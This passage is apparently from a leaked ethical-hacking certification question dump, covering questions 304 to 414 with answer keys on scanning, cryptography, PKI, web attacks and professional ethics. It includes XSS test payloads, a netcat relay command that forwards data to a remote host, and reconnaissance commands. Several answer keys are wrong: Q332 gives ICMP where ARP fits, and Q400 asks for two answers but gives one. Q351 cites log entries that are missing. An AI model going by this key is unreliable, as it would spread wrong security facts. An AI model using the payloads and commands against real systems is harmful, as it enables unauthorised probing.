QUESTION 304
An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks
below is likely to be used to crack the target file?
A. Timing attack
B. Replay attack
C. Memory trade-off attack
D. Chosen plain-text attack
Correct Answer: D



:
QUESTION 305
Which tool can be used to silently copy files from USB devices?
163

A. USB Grabber
B. USB Dumper
C. USB Sniffer
D. USB Snoopy
Correct Answer: B



:
QUESTION 306
How can a rootkit bypass Windows 7 operating system's kernel mode, code signing policy?
A. Defeating the scanner from detecting any code change at the kernel
B. Replacing patch system calls with its own version that hides the rootkit (attacker's) actions
C. Performing common services for the application process and replacing real applications with fake ones
D. Attaching itself to the master boot record in a hard drive and changing the machine's boot sequence/
options
Correct Answer: D



:
QUESTION 307
A bank stores and processes sensitive privacy information related to home loans. However, auditing has
never been enabled on the system. What is the first step that the bank should take before enabling the
audit feature?
A. Perform a vulnerability scan of the system.
B. Determine the impact of enabling the audit feature.
C. Perform a cost/benefit analysis of the audit feature.
D. Allocate funds for staffing of audit log review.
Correct Answer: B



:
QUESTION 308
A consultant has been hired by the V.P. of a large financial organization to assess the company's
164

security posture. During the security testing, the consultant comes across child pornography on the V.P.'s
computer. What is the consultant's obligation to the financial organization?
A. Say nothing and continue with the security testing.
B. Stop work immediately and contact the authorities.
C. Delete the pornography, say nothing, and continue security testing.
D. Bring the discovery to the financial organization's human resource department.
Correct Answer: B



:
QUESTION 309
How is sniffing broadly categorized?
A. Active and passive
B. Broadcast and unicast
C. Unmanaged and managed
D. Filtered and unfiltered
Correct Answer: A



:
QUESTION 310
An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants
to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to
accomplish this?
A. g++ hackersExploit.cpp -o calc.exe
B. g++ hackersExploit.py -o calc.exe
C. g++ -i hackersExploit.pl -o calc.exe
D. g++ --compile i hackersExploit.cpp -o calc.exe
Correct Answer: A



:
QUESTION 311
165

A computer technician is using a new version of a word processing software package when it is discovered
that a special sequence of characters causes the entire computer to crash. The technician researches the
bug and discovers that no one else experienced the problem. What is the appropriate next step?
A. Ignore the problem completely and let someone else deal with it.
B. Create a document that will crash the computer when opened and send it to friends.
C. Find an underground bulletin board and attempt to sell the bug to the highest bidder.
D. Notify the vendor of the bug and do not disclose it until the vendor gets a chance to issue a fix.
Correct Answer: D



:
QUESTION 312
What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a
hotel room?
A. Set a BIOS password.
B. Encrypt the data on the hard drive.
C. Use a strong logon password to the operating system.
D. Back up everything on the laptop and store the backup in a safe place.
Correct Answer: B



:
QUESTION 313
The intrusion detection system at a software development company suddenly generates multiple alerts
regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What
should the security team do to determine which alerts to check first?
A. Investigate based on the maintenance schedule of the affected systems.
B. Investigate based on the service level agreements of the systems.
C. Investigate based on the potential effect of the incident.
D. Investigate based on the order that the alerts arrived in.
Correct Answer: C



:
166

QUESTION 314
A corporation hired an ethical hacker to test if it is possible to obtain users' login credentials using methods
other than social engineering. Access to offices and to a network node is granted. Results from server
scanning indicate all are adequately patched and physical access is denied, thus, administrators have
access only through Remote Desktop. Which technique could be used to obtain login credentials?
A. Capture every users' traffic with Ettercap.
B. Capture LANMAN Hashes and crack them with LC6.
C. Guess passwords using Medusa or Hydra against a network service.
D. Capture administrators RDP traffic and decode it with Cain and Abel.
Correct Answer: D



:
QUESTION 315
Which of the following scanning tools is specifically designed to find potential exploits in Microsoft Windows
products?
A. Microsoft Security Baseline Analyzer
B. Retina
C. Core Impact
D. Microsoft Baseline Security Analyzer
Correct Answer: D



:
QUESTION 316
Which of the statements concerning proxy firewalls is correct?
A. Proxy firewalls increase the speed and functionality of a network.
B. Firewall proxy servers decentralize all activity for an application.
C. Proxy firewalls block network packets from passing to and from a protected network.
D. Computers establish a connection with a proxy firewall which initiates a new network connection for the
client.
167

Correct Answer: D



:
QUESTION 317
Which of the following is an example of two factor authentication?
A. PIN Number and Birth Date
B. Username and Password
C. Digital Certificate and Hardware Token
D. Fingerprint and Smartcard ID
Correct Answer: D



:
QUESTION 318
A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The
company accepting bids wants proof of work so the consultant prints out several audits that have been
performed. Which of the following is likely to occur as a result?
A. The consultant will ask for money on the bid because of great work.
B. The consultant may expose vulnerabilities of other companies.
C. The company accepting bids will want the same type of format of testing.
D. The company accepting bids will hire the consultant because of the great work performed.
Correct Answer: B



:
QUESTION 319
A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that
were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result
below, which of the following is likely to be installed on the target machine by the OS?
Starting NMAP 5.21 at 2011-03-15 11:06
168

NMAP scan report for 172.16.40.65
Host is up (1.00s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http
139/tcp open netbios-ssn
515/tcp open
631/tcp open ipp
9100/tcp open
MAC Address: 00:00:48:0D:EE:89
A. The host is likely a Windows machine.
B. The host is likely a Linux machine.
C. The host is likely a router.
D. The host is likely a printer.
Correct Answer: D



:
QUESTION 320
What is the outcome of the comm"nc -l -p 2222 | nc 10.1.0.43 1234"?
A. Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222.
B. Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port
1234.
C. Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port
2222.
D. Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.
Correct Answer: B



:
169

QUESTION 321
For messages sent through an insecure channel, a properly implemented digital signature gives the
receiver reason to believe the message was sent by the claimed sender. While using a digital signature, the
message digest is encrypted with which key?
A. Sender's public key
B. Receiver's private key
C. Receiver's public key
D. Sender's private key
Correct Answer: D



:
QUESTION 322
Which method can provide a better return on IT security investment and provide a thorough and
comprehensive assessment of organizational security covering policy, procedure design, and
implementation?
A. Penetration testing
B. Social engineering
C. Vulnerability scanning
D. Access control list reviews
Correct Answer: A



:
QUESTION 323
When using Wireshark to acquire packet capture on a network, which device would enable the capture of
all traffic on the wire?
A. Network tap
B. Layer 3 switch
C. Network bridge
D. Application firewall
170

Correct Answer: A



:
QUESTION 324
How does an operating system protect the passwords used for account logins?
A. The operating system performs a one-way hash of the passwords.
B. The operating system stores the passwords in a secret file that users cannot find.
C. The operating system encrypts the passwords, and decrypts them when needed.
D. The operating system stores all passwords in a protected segment of non-volatile memory.
Correct Answer: A



:
QUESTION 325
Which of the following programs is usually targeted at Microsoft Office products?
A. Polymorphic virus
B. Multipart virus
C. Macro virus
D. Stealth virus
Correct Answer: C



:
QUESTION 326
What is the main difference between a "Normal" SQL Injection and a "Blind" SQL Injection vulnerability?
A. The request to the web server is not visible to the administrator of the vulnerable application.
B. The attack is called "Blind" because, although the application properly filters user input, it is still
vulnerable to code injection.
C. The successful attack does not show an error message to the administrator of the affected application.
D. The vulnerable application does not display errors with information about the injection results to "Pass
Any Exam. Any Time." - www.actualtests.com 171

the attacker.
Correct Answer: D



:
QUESTION 327
Which of the following ensures that updates to policies, procedures, and configurations are made in a
controlled and documented fashion?
A. Regulatory compliance
B. Peer review
C. Change management
D. Penetration testing
Correct Answer: C



:
QUESTION 328
Data hiding analysis can be useful in
A. determining the level of encryption used to encrypt the data.
B. detecting and recovering data that may indicate knowledge, ownership or intent.
C. identifying the amount of central processing unit (cpu) usage over time to process the data.
D. preventing a denial of service attack on a set of enterprise servers to prevent users from accessing the
data.
Correct Answer: B



:
QUESTION 329
Smart cards use which protocol to transfer the certificate in a secure manner?
A. Extensible Authentication Protocol (EAP)
B. Point to Point Protocol (PPP)
172

C. Point to Point Tunneling Protocol (PPTP)
D. Layer 2 Tunneling Protocol (L2TP)
Correct Answer: A



:
QUESTION 330
A company firewall engineer has configured a new DMZ to allow public systems to be located away from
the internal network. The engineer has three security zones set:
Untrust (Internet) (Remote network = 217.77.88.0/24)
DMZ (DMZ) (11.12.13.0/24)
Trust (Intranet) (192.168.0.0/24)
The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote
desktop server in the DMZ. Which rule would best fit this requirement?
A. Permit 217.77.88.0/24 11.12.13.0/24 RDP 3389
B. Permit 217.77.88.12 11.12.13.50 RDP 3389
C. Permit 217.77.88.12 11.12.13.0/24 RDP 3389
D. Permit 217.77.88.0/24 11.12.13.50 RDP 3389
Correct Answer: B



:
QUESTION 331
When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open
Source Security Testing Methodology Manual (OSSTMM) the main difference is
A. OWASP is for web applications and OSSTMM does not include web applications.
B. OSSTMM is gray box testing and OWASP is black box testing.
C. OWASP addresses controls and OSSTMM does not.
D. OSSTMM addresses controls and OWASP does not.
Correct Answer: D



:
173

QUESTION 332
Which of the following is a protocol that is prone to a man-in-the-middle (MITM) attack and maps a 32-bit
address to a 48-bit address?
A. ICPM
B. ARP
C. RARP
D. ICMP
Correct Answer: D



:
QUESTION 333
Which NMAP feature can a tester implement or adjust while scanning for open ports to avoid detection by
the network's IDS?
A. Timing options to slow the speed that the port scan is conducted
B. Fingerprinting to identify which operating systems are running on the network
C. ICMP ping sweep to determine which hosts on the network are not available
D. Traceroute to control the path of the packets sent during the scan
Correct Answer: A



:
QUESTION 334
Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the
following choices would be a common vulnerability that usually exposes them?
A. Cross-site scripting
B. SQL injection
C. Missing patches
D. CRLF injection
Correct Answer: C



174

:
QUESTION 335
Which type of access control is used on a router or firewall to limit network activity?
A. Mandatory
B. Discretionary
C. Rule-based
D. Role-based
Correct Answer: C



:
QUESTION 336
Which NMAP command combination would let a tester scan every TCP port from a class C network that is
blocking ICMP with fingerprinting and service detection?
A. NMAP -PN -A -O -sS 192.168.2.0/24
B. NMAP -P0 -A -O -p1-65535 192.168.0/24
C. NMAP -P0 -A -sT -p0-65535 192.168.0/16
D. NMAP -PN -O -sS -p 1-1024 192.168.0/8
Correct Answer: B



:
QUESTION 337
Which types of detection methods are employed by Network Intrusion Detection Systems (NIDS)? (Choose
two.)
A. Signature
B. Anomaly
C. Passive
D. Reactive
Correct Answer: AB



175

:
QUESTION 338
The fundamental difference between symmetric and asymmetric key cryptographic systems is that
symmetric key cryptography uses which of the following?
A. Multiple keys for non-repudiation of bulk data
B. Different keys on both ends of the transport medium
C. Bulk encryption for data transmission over fiber
D. The same key on each end of the transmission medium
Correct Answer: D



:
QUESTION 339
Which command lets a tester enumerate alive systems in a class C network via ICMP using native
Windows tools?
A. ping 192.168.2.
B. ping 192.168.2.255
C. for %V in (1 1 255) do PING 192.168.2.%V
D. for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"
Correct Answer: D



:
QUESTION 340
How can telnet be used to fingerprint a web server?
A. telnet webserverAddress 80
HEAD / HTTP/1.0
B. telnet webserverAddress 80
PUT / HTTP/1.0
C. telnet webserverAddress 80
HEAD / HTTP/2.0
176

D. telnet webserverAddress 80
PUT / HTTP/2.0
Correct Answer: A



:
QUESTION 341
Which of the following problems can be solved by using Wireshark?
A. Tracking version changes of source code
B. Checking creation dates on all webpages on a server
C. Resetting the administrator password on multiple systems
D. Troubleshooting communication resets between two systems
Correct Answer: D



:
QUESTION 342
Which of the following is an example of an asymmetric encryption implementation?
A. SHA1
B. PGP
C. 3DES
D. MD5
Correct Answer: B



:
QUESTION 343
What is the purpose of conducting security assessments on network resources?
A. Documentation
B. Validation
C. Implementation
D. Management
177

Correct Answer: B



:
QUESTION 344
A penetration tester was hired to perform a penetration test for a bank. The tester began searching for IP
ranges owned by the bank, performing lookups on the bank's DNS servers, reading news articles online
about the bank, watching what times the bank employees come into work and leave from work, searching
the bank's job postings (paying special attention to IT related jobs), and visiting the local dumpster for the
bank's corporate office. What phase of the penetration test is the tester currently in?
A. Information reporting
B. Vulnerability assessment
C. Active information gathering
D. Passive information gathering
Correct Answer: D



:
QUESTION 345
Which of the following is an application that requires a host application for replication?
A. Micro
B. Worm
C. Trojan
D. Virus
Correct Answer: D



:
QUESTION 346
Which of the following is a characteristic of Public Key Infrastructure (PKI)?
A. Public-key cryptosystems are faster than symmetric-key cryptosystems.
B. Public-key cryptosystems distribute public-keys within digital signatures.
178

C. Public-key cryptosystems do not require a secure key distribution channel.
D. Public-key cryptosystems do not provide technical non-repudiation via digital signatures.
Correct Answer: B



:
QUESTION 347
What statement is true regarding LM hashes?
A. LM hashes consist in 48 hexadecimal characters.
B. LM hashes are based on AES128 cryptographic standard.
C. Uppercase characters in the password are converted to lowercase.
D. LM hashes are not generated when the password length exceeds 15 characters.
Correct Answer: D



:
QUESTION 348
What is a successful method for protecting a router from potential smurf attacks?
A. Placing the router in broadcast mode
B. Enabling port forwarding on the router
C. Installing the router outside of the network's firewall
D. Disabling the router from accepting broadcast ping messages
Correct Answer: D



:
QUESTION 349
Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?
A. NMAP
B. Metasploit
C. Nessus
179

D. BeEF
Correct Answer: C



:
QUESTION 350
The use of technologies like IPSec can help guarantee the followinG. authenticity, integrity, confidentiality
and
A. non-repudiation.
B. operability.
C. security.
D. usability.
Correct Answer: A



:
QUESTION 351
A security administrator notices that the log file of the company`s webserver contains suspicious entries:
Based on source code analysis, the analyst concludes that the login.php script is vulnerable to
A. command injection.
B. SQL injection.
C. directory traversal.
D. LDAP injection.
180

Correct Answer: B



:
QUESTION 352
Which of the following is a detective control?
A. Smart card authentication
B. Security policy
C. Audit trail
D. Continuity of operations plan
Correct Answer: C



:
QUESTION 353
A penetration tester is attempting to scan an internal corporate network from the internet without alerting the
border sensor. Which is the most efficient technique should the tester consider using?
A. Spoofing an IP address
B. Tunneling scan over SSH
C. Tunneling over high port numbers
D. Scanning using fragmented IP packets
Correct Answer: B



:
QUESTION 354
A circuit level gateway works at which of the following layers of the OSI Model?
A. Layer 5 - Application
B. Layer 4 TCP
C. Layer 3 Internet protocol
D. Layer 2 Data link
Correct Answer: B



181

:
QUESTION 355
Which of the following lists are valid data-gathering activities associated with a risk assessment?
A. Threat identification, vulnerability identification, control analysis
B. Threat identification, response identification, mitigation identification
C. Attack profile, defense profile, loss profile
D. System profile, vulnerability identification, security determination
Correct Answer: A



:
QUESTION 356
A network security administrator is worried about potential man-in-the-middle attacks when users access a
corporate web site from their workstations. Which of the following is the best remediation against this type
of attack?
A. Implementing server-side PKI certificates for all connections
B. Mandating only client-side PKI certificates for all connections
C. Requiring client and server PKI certificates for all connections
D. Requiring strong authentication for all DNS queries
Correct Answer: C



:
QUESTION 357
Which command line switch would be used in NMAP to perform operating system detection?
A. -OS
B. -sO
C. -sP
D. -O
Correct Answer: D



182

:
QUESTION 358
Bluetooth uses which digital modulation technique to exchange information between paired devices?
A. PSK (phase-shift keying)
B. FSK (frequency-shift keying)
C. ASK (amplitude-shift keying)
D. QAM (quadrature amplitude modulation)
Correct Answer: A



:
QUESTION 359
A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop antivirus
and E-mail gateway. This approach can be used to mitigate which kind of attack?
A. Forensic attack
B. ARP spoofing attack
C. Social engineering attack
D. Scanning attack
Correct Answer: C



:
QUESTION 360
A security policy will be more accepted by employees if it is consistent and has the support of
A. coworkers.
B. executive management.
C. the security officer.
D. a supervisor.
183

Correct Answer: B



:
QUESTION 361
There is a WEP encrypted wireless access point (AP) with no clients connected. In order to crack the WEP
key, a fake authentication needs to be performed. What information is needed when performing fake
authentication to an AP? (Choose two.)
A. The IP address of the AP
B. The MAC address of the AP
C. The SSID of the wireless network
D. A failed authentication packet
Correct Answer: BC



:
QUESTION 362
What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes
the received response?
A. Passive
B. Reflective
C. Active
D. Distributive
Correct Answer: C



:
QUESTION 363
How do employers protect assets with security policies pertaining to employee surveillance activities?
A. Employers promote monitoring activities of employees as long as the employees demonstrate
trustworthiness.
B. Employers use informal verbal communication channels to explain employee monitoring "Pass Any
Exam. Any Time." - www.actualtests.com 184

activities to employees.
C. Employers use network surveillance to monitor employee email traffic, network access, and to record
employee keystrokes.
D. Employers provide employees written statements that clearly discuss the boundaries of monitoring
activities and consequences.
Correct Answer: D



:
QUESTION 364
When analyzing the IDS logs, the system administrator noticed an alert was logged when the external
router was accessed from the administrator's computer to update the router configuration.
What type of an alert is this?
A. False positive
B. False negative
C. True positve
D. True negative
Correct Answer: A



:
QUESTION 365
Which of the following parameters enables NMAP's operating system detection feature?
A. NMAP -sV
B. NMAP -oS
C. NMAP -sR
D. NMAP -O
Correct Answer: D



:
QUESTION 366
Which of the following is an example of IP spoofing?
185

A. SQL injections
B. Man-in-the-middle
C. Cross-site scripting
D. ARP poisoning
Correct Answer: B



:
QUESTION 367
Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists
and that a certificate is still valid for specific operations?
A. Certificate issuance
B. Certificate validation
C. Certificate cryptography
D. Certificate revocation
Correct Answer: B



:
QUESTION 368
What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?
A. tcp.src == 25 and ip.host == 192.168.0.125
B. host 192.168.0.125:25
C. port 25 and host 192.168.0.125
D. tcp.port == 25 and ip.host == 192.168.0.125
Correct Answer: D



:
QUESTION 369
When creating a security program, which approach would be used if senior management is supporting and
enforcing the security policy?
186

A. A bottom-up approach
B. A top-down approach
C. A senior creation approach
D. An IT assurance approach
Correct Answer: B



:
QUESTION 370
Which element of Public Key Infrastructure (PKI) verifies the applicant?
A. Certificate authority
B. Validation authority
C. Registration authority
D. Verification authority
Correct Answer: C



:
QUESTION 371
Which Open Web Application Security Project (OWASP) implements a web application full of known
vulnerabilities?
A. WebBugs
B. WebGoat
C. VULN_HTML
D. WebScarab
Correct Answer: B



:
QUESTION 372
A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the
nslookup interactive mode for the search. Which command should the hacker type into the command shell
to request the appropriate records?
187

A. Locate type=ns
B. Request type=ns
C. Set type=ns
D. Transfer type=ns
Correct Answer: C



:
QUESTION 373
After gaining access to the password hashes used to protect access to a web based application, knowledge
of which cryptographic algorithms would be useful to gain access to the application?
A. SHA1
B. Diffie-Helman
C. RSA
D. AES
Correct Answer: A



:
QUESTION 374
To send a PGP encrypted message, which piece of information from the recipient must the sender have
before encrypting the message?
A. Recipient's private key
B. Recipient's public key
C. Master encryption key
D. Sender's public key
Correct Answer: B



:
QUESTION 375
An attacker has been successfully modifying the purchase price of items purchased on the company's web
site. The security administrators verify the web server and Oracle database have not been compromised
directly. They have also verified the Intrusion Detection System (IDS) logs
188

and found no attacks that could have caused this. What is the mostly likely way the attacker has been able
to modify the purchase price?
A. By using SQL injection
B. By changing hidden form values
C. By using cross site scripting
D. By utilizing a buffer overflow attack
Correct Answer: B



:
QUESTION 376
Which of the following items is unique to the N-tier architecture method of designing software applications?
A. Application layers can be separated, allowing each layer to be upgraded independently from other
layers.
B. It is compatible with various databases including Access, Oracle, and SQL.
C. Data security is tied into each layer and must be updated for all layers when any upgrade is performed.
D. Application layers can be written in C, ASP.NET, or Delphi without any performance loss.
Correct Answer: A



:
QUESTION 377
A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much
information can be obtained from the firm's public facing web servers. The engineer decides to start by
using netcat to port 80.
The engineer receives this output:
HTTP/1.1 200 OK
Server: Microsoft-IIS/6
Expires: Tue, 17 Jan 2011 01:41:33 GMT
DatE. Mon, 16 Jan 2011 01:41:33 GMT
189

Content-TypE. text/html
Accept-Ranges: bytes
Last-ModifieD. Wed, 28 Dec 2010 15:32:21 GMT
ETaG. "b0aac0542e25c31:89d"
Content-Length: 7369
Which of the following is an example of what the engineer performed?
A. Cross-site scripting
B. Banner grabbing
C. SQL injection
D. Whois database query
Correct Answer: B



:
QUESTION 378
To reduce the attack surface of a system, administrators should perform which of the following processes
to remove unnecessary software, services, and insecure configuration settings?
A. Harvesting
B. Windowing
C. Hardening
D. Stealthing
Correct Answer: C



:
QUESTION 379
While conducting a penetration test, the tester determines that there is a firewall between the tester's
machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session
layer of the OSI model. Which type of firewall is the tester trying to traverse?
A. Packet filtering firewall
190

B. Application-level firewall
C. Circuit-level gateway firewall
D. Stateful multilayer inspection firewall
Correct Answer: C



:
QUESTION 380
Which type of scan is used on the eye to measure the layer of blood vessels?
A. Facial recognition scan
B. Retinal scan
C. Iris scan
D. Signature kinetics scan
Correct Answer: B



:
QUESTION 381
A security analyst in an insurance company is assigned to test a new web application that will be used by
clients to help them choose and apply for an insurance plan. The analyst discovers that the application is
developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the
application's search form and introduces the following code in the search input fielD.
IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC" originalPath="vbscript:msgbox
("Vulnerable");>"
When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable".
Which web applications vulnerability did the analyst discover?
A. Cross-site request forgery
B. Command injection
C. Cross-site scripting
D. SQL injection
Correct Answer: C



191

:
QUESTION 382
While testing the company's web applications, a tester attempts to insert the following test script into the
search area on the company's web sitE.
<script>alert(" Testing Testing Testing ")</script>
Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text:
"Testing Testing Testing". Which vulnerability has been detected in the web application?
A. Buffer overflow
B. Cross-site request forgery
C. Distributed denial of service
D. Cross-site scripting
Correct Answer: D



:
QUESTION 383
A hacker was able to sniff packets on a company's wireless network. The following information was
discovereD.
The Key 10110010 01001011
The Cyphertext 01100101 01011010
Using the Exlcusive OR, what was the original message?
A. 00101000 11101110
B. 11010111 00010001
C. 00001101 10100100
D. 11110010 01011011
Correct Answer: B



:
192

QUESTION 384
International Organization for Standardization (ISO) standard 27002 provides guidance for compliance by
outlining
A. guidelines and practices for security controls.
B. financial soundness and business viability metrics.
C. standard best practice for configuration management.
D. contract agreement writing standards.
Correct Answer: A



:
QUESTION 385
Which solution can be used to emulate computer services, such as mail and ftp, and to capture information
related to logins or actions?
A. Firewall
B. Honeypot
C. Core server
D. Layer 4 switch
Correct Answer: B



:
QUESTION 386
A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system.
The alert was generated because a large number of packets were coming into the network over ports 20
and 21. During analysis, there were no signs of attack on the FTP servers. How should the administrator
classify this situation?
A. True negatives
B. False negatives
C. True positives
D. False positives
193

Correct Answer: D



:
QUESTION 387
The following is part of a log file taken from the machine on the network with the IP address of
192.168.1.106:
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
What type of activity has been logged?
A. Port scan targeting 192.168.1.103
B. Teardrop attack targeting 192.168.1.106
C. Denial of service attack targeting 192.168.1.103
D. Port scan targeting 192.168.1.106
Correct Answer: D



:
QUESTION 388
Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?
A. Detective
B. Passive
C. Intuitive
D. Reactive
194

Correct Answer: B



:
QUESTION 389
Which of the following settings enables Nessus to detect when it is sending too many packets and the
network pipe is approaching capacity?
A. Netstat WMI Scan
B. Silent Dependencies
C. Consider unscanned ports as closed
D. Reduce parallel connections on congestion
Correct Answer: D



:
QUESTION 390
Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of
the following is the correct bit size of the Diffie-Hellman (DH) group 5?
A. 768 bit key
B. 1025 bit key
C. 1536 bit key
D. 2048 bit key
Correct Answer: C



:
QUESTION 391
Which results will be returned with the following Google search query?
site:target.com -site:Marketing.target.com accounting
A. Results matching all words in the query
B. Results matching "accounting" in domain target.com but not on the site Marketing.target.com
C. Results from matches on the site marketing.target.com that are in the domain target.com but do "Pass
Any Exam. Any Time." - www.actualtests.com 195

not include the word accounting
D. Results for matches on target.com and Marketing.target.com that include the word "accounting"
Correct Answer: B



:
QUESTION 392
One advantage of an application-level firewall is the ability to
A. filter packets at the network level.
B. filter specific commands, such as http:post.
C. retain state information for each packet.
D. monitor tcp handshaking.
Correct Answer: B



:
QUESTION 393
Which type of security document is written with specific step-by-step details?
A. Process
B. Procedure
C. Policy
D. Paradigm
Correct Answer: B



:
QUESTION 394
A certified ethical hacker (CEH) completed a penetration test of the main headquarters of a company
almost two months ago, but has yet to get paid. The customer is suffering from financial problems, and the
CEH is worried that the company will go out of business and end up not paying. What actions should the
CEH take?
A. Threaten to publish the penetration test results if not paid.
196

B. Follow proper legal procedures against the company to request payment.
C. Tell other customers of the financial problems with payments from this company.
D. Exploit some of the vulnerabilities found on the company webserver to deface it.
Correct Answer: B



:
QUESTION 395
If a tester is attempting to ping a target that exists but receives no response or a response that states the
destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option
could the tester use to get a response from a host using TCP?
A. Hping
B. Traceroute
C. TCP ping
D. Broadcast ping
Correct Answer: A



:
QUESTION 396
How can rainbow tables be defeated?
A. Password salting
B. Use of non-dictionary words
C. All uppercase character passwords
D. Lockout accounts under brute force password cracking attempts
Correct Answer: A



:
QUESTION 397
Which of the following is an advantage of utilizing security testing methodologies to conduct a security
audit?
197

A. They provide a repeatable framework.
B. Anyone can run the command line scripts.
C. They are available at low cost.
D. They are subject to government regulation.
Correct Answer: A



:
QUESTION 398
A developer for a company is tasked with creating a program that will allow customers to update their billing
and shipping information. The billing address field used is limited to 50 characters. What pseudo code
would the developer use to avoid a buffer overflow attack on the billing address field?
A. if (billingAddress = 50) {update field} else exit
B. if (billingAddress != 50) {update field} else exit
C. if (billingAddress >= 50) {update field} else exit
D. if (billingAddress <= 50) {update field} else exit
Correct Answer: D



:
QUESTION 399
If the final set of security controls does not eliminate all risk in a system, what could be done next?
A. Continue to apply controls until there is zero risk.
B. Ignore any remaining risk.
C. If the residual risk is low enough, it can be accepted.
D. Remove current controls since they are not completely effective.
Correct Answer: C



:
QUESTION 400
In keeping with the best practices of layered security, where are the best places to place intrusion detection/
intrusion prevention systems? (Choose two.)
198

A. HID/HIP (Host-based Intrusion Detection/Host-based Intrusion Prevention)
B. NID/NIP (Node-based Intrusion Detection/Node-based Intrusion Prevention)
C. NID/NIP (Network-based Intrusion Detection/Network-based Intrusion Prevention)
D. CID/CIP (Computer-based Intrusion Detection/Computer-based Intrusion Prevention)
Correct Answer: C



:
Topic 5, Volume E
QUESTION 401
What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering
with critical data on the back end of a system it is loaded on?
A. Proper testing
B. Secure coding principles
C. Systems security and architecture review
D. Analysis of interrupts within the software
Correct Answer: D



:
QUESTION 402
Which of the following algorithms provides better protection against brute force attacks by using a 160-bit
message digest?
A. MD5
B. SHA-1
C. RC4
D. MD4
Correct Answer: B



:
QUESTION 403
Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What
must the Certificate Authorities (CAs) establish so that the private PKIs for Company
199

A and Company B trust one another and each private PKI can validate digital certificates from the other
company?
A. Poly key exchange
B. Cross certification
C. Poly key reference
D. Cross-site exchange
Correct Answer: B



:
QUESTION 404
What is the best defense against privilege escalation vulnerability?
A. Patch systems regularly and upgrade interactive login privileges at the system administrator level.
B. Run administrator and applications on least privileges and use a content registry for tracking.
C. Run services with least privileged accounts and implement multi-factor authentication and authorization.
D. Review user roles and administrator privileges for maximum utilization of automation services.
Correct Answer: C



:
QUESTION 405
Fingerprinting VPN firewalls is possible with which of the following tools?
A. Angry IP
B. Nikto
C. Ike-scan
D. Arp-scan
Correct Answer: C



:
QUESTION 406
200

A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which
technique will help protect against enumeration?
A. Reject all invalid email received via SMTP.
B. Allow full DNS zone transfers.
C. Remove A records for internal hosts.
D. Enable null session pipes.
Correct Answer: C



:
QUESTION 407
Which of the following is a primary service of the U.S. Computer Security Incident Response Team
(CSIRT)?
A. CSIRT provides an incident response service to enable a reliable and trusted single point of contact for
reporting computer security incidents worldwide.
B. CSIRT provides a computer security surveillance service to supply a government with important
intelligence information on individuals travelling abroad.
C. CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by
individuals and multi-national corporations.
D. CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an
individual's property or company's asset.
Correct Answer: A



:
QUESTION 408
Which of the following is a client-server tool utilized to evade firewall inspection?
A. tcp-over-dns
B. kismet
C. nikto
D. hping
Correct Answer: A



:
201

QUESTION 409
Which of the following is a symmetric cryptographic standard?
A. DSA
B. PKI
C. RSA
D. 3DES
Correct Answer: D



:
QUESTION 410
Which of the following cryptography attack methods is usually performed without the use of a computer?
A. Ciphertext-only attack
B. Chosen key attack
C. Rubber hose attack
D. Rainbow table attack
Correct Answer: C



:
QUESTION 411
What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?
A. Injecting parameters into a connection string using semicolons as a separator
B. Inserting malicious Javascript code into input parameters
C. Setting a user's session identifier (SID) to an explicit known value
D. Adding multiple parameters with the same name in HTTP requests
Correct Answer: A



:
202

QUESTION 412
Which of the following open source tools would be the best choice to scan a network for potential targets?
A. NMAP
B. NIKTO
C. CAIN
D. John the Ripper
Correct Answer: A



:
QUESTION 413
Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?
A. RSA 1024 bit strength
B. AES 1024 bit strength
C. RSA 512 bit strength
D. AES 512 bit strength
Correct Answer: A



:
QUESTION 414
